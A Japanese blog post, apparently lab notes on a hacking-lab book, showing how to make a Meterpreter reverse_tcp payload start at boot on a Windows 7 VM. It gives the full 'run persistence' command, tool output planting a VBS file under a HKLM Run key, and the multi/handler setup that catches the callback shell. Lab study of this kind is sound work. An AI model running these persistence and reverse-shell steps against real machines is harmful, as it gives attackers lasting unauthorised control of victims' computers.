Meterpreter を使って Windows 7 起動時にペイロードを自動実行させる

Windows 7

今回は、ターゲット端末にペイロードを自動実行させます。

自動実行させる目的

今までの手法だと、端末が終了されると確立されたセッションも閉じられ、その後は再度ペイロードを手動で実行しないとセッションが確立されません。

実際にはターゲットが手動で再度ペイロードを実行する可能性は低く、端末を再起動した後も攻撃を行えるように端末の起動時に自動でペイロードが実行されることが望ましいです。

自動実行させる方法

Meterpreterで用意されている「run persistence」コマンドを用いることで、ターゲット端末がペイロードを自動実行する状態とすることが可能です。

「run persistence」コマンドを実行するには、SYSTEM権限が必要となります。そのため、前回記事で紹介した方法でSYSTEM権限に昇格した上で実行してください。

「run persistence」について

まずは「run persistence」のヘルプを確認します。

meterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.

OPTIONS:

-A Automatically start a matching exploit/multi/handler to connect to the agent
 -L <opt> Location in target host to write payload to, if none %TEMP% will be used.
 -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
 -S Automatically start the agent on boot as a service (with SYSTEM privileges)
 -T <opt> Alternate executable template to use
 -U Automatically start the agent when the User logs on
 -X Automatically start the agent when the system boots
 -h This help menu
 -i <opt> The interval in seconds between each connection attempt
 -p <opt> The port on which the system running Metasploit is listening
 -r <opt> The IP of the system running Metasploit listening for the connect back

その上で、「ハッキングラボのつくりかた」には以下コマンドを実行するよう指示があります。

meterpreter > run persistence -X -i 60 -P windows/ meterpreter/ reverse_ tcp -p 4444 -r 10. 0. 0. 2

ヘルプを見ながら、このコマンドを読み解いていきます。

まず、「-X」オプションが付与されています。このオプションはシステム起動時に指定したペイロードを自動実行させるオプションです。

目的が自動実行させることのため、必須のオプションです。

次に、「-i 60」オプションが付与されています。これは接続の試行間隔です。60秒ごとに指定された接続先へ通信を行います。

その後に「-P」オプションが付与されています。これはペイロードを使用することを指しています。

そして、「-p」は接続先ポート、「-r」hは接続先IPアドレスを指しています。

run persistence の実行

上述のコマンドを実行します。

meterpreter > run persistence -X -i 60 -P windows/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/IE8WIN7_20200304.1337/IE8WIN7_20200304.1337.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444
[*] Persistent agent script is 99640 bytes long
[+] Persistent Script written to C:\Users\IEUser\AppData\Local\Temp\FrJPdHBBYz.vbs
[*] Executing script C:\Users\IEUser\AppData\Local\Temp\FrJPdHBBYz.vbs
[+] Agent executed with PID 1676
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\oOEUWeqXzhNnqNc
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\oOEUWeqXzhNnqNc
meterpreter >

これで、ターゲット端末であるWindows 7は端末起動時に自動でペイロードを実行するようになりました。

実際にそのような状態となっているか確認します。

Windows 7 の Autoruns 確認

自動実行に関するプログラムである Autoruns にペイロードが含まれていれば、ペイロードが自動実行される状態となっていることがわかります。

SysinternalsSuite フォルダにある「Autoruns.exe」を起動します。

その後、[File] > [Compare] をクリックし、以前取得した arn ファイルを選択してください。現在の状態と、デフォルトの状態の差分がわかります。

自動実行されるレジストリに、FrJPdHBBYz.vbs という名前のファイルが設定されています。

実際にファイルを確認しても、一部関数は読み取れない状態となっていました。

ひとまず、自動実行する何らかのファイルが追加されていることがわかったので、実際に起動時に自動的にセッションが確立されるか確認します。

起動時のセッション確認

セッションが確立されている状態で Windows 7 をシャットダウンします。すると、Kali側では以下の表示となります。

meterpreter > [*] 10.0.0.102 - Meterpreter session 6 closed. Reason: Died
Interrupt: use the 'exit' command to quit
meterpreter > 
meterpreter > 
[*] 10.0.0.102 - Meterpreter session 7 closed. Reason: Died

msf5 exploit(windows/local/bypassuac) >

その後、meterpreter の接続待ち状態を作ります。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > 
msf5 exploit(multi/handler) > 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.2:4444

この状態で、Windows 7 を起動します。これで evil.exe を実行せずともセッションが確立されれば成功です。

[*] Started reverse TCP handler on 10.0.0.2:4444 
[*] Sending stage (180291 bytes) to 10.0.0.102
[*] Meterpreter session 3 opened (10.0.0.2:4444 -> 10.0.0.102:49158) at 2020-03-04 08:59:24 -0500

meterpreter >

※vbs ファイルを起動する既定のプログラムをテキストエディタにしておくとスクリプトが実行されず、セッションが確立されないため注意。

今回は以上です。

くどり

この記事は「ハッキング・ラボのつくりかた 第4章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました